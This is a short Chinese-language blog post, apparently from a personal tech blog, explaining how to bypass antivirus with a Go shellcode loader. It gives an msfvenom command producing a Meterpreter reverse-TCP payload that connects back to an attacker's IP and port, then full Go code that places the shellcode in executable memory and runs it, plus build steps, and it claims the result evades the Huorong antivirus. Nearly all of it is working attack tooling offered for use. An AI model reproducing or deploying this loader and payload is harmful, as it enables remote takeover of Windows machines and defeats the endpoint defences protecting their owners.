使用msf生成shellcode并用Go免杀?

msf生成的裸马现在已经不行了,加壳也只能加冷门壳了,VMP,Shielden,upx不是失效就是效果很差,所以当下,得用shellcode来免杀了

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.bin

在kali的控制台里输入以上命令,即在当前目录下生成一个bin文件,这个bin文件就是我们的shellcode了。

将1.bin拖到windows里,用winhex打开

 

 

 点击编辑-复制所有-十六进制数值,然后新建一个1.go,在里面输入:

package main
import (
    "encoding/hex"
    "syscall"
    "unsafe"
)
func main(){
    sa := "复制结果粘贴进来"
    shellcode, _ := hex.DecodeString(sa)
    VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc")
    copyMem := syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory")
    addr, _, _ := VirtualAlloc.Call(0,uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
    copyMem.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    syscall.Syscall(addr, 0, 0, 0, 0)
}

 

将“复制结果粘贴进来”替换成刚刚复制的十六进制数值,然后打开控制台,输入set GOARCH=386 //因为shellcode是32位的

回车,然后在输入go build 1.go

 

上述只是一个简单的shellcode加载器,能达到免杀火绒的效果,其他杀软并未测试,大佬勿喷 

posted @ 2023-04-02 15:28  BadJui  阅读(852)  评论(0编辑  收藏  举报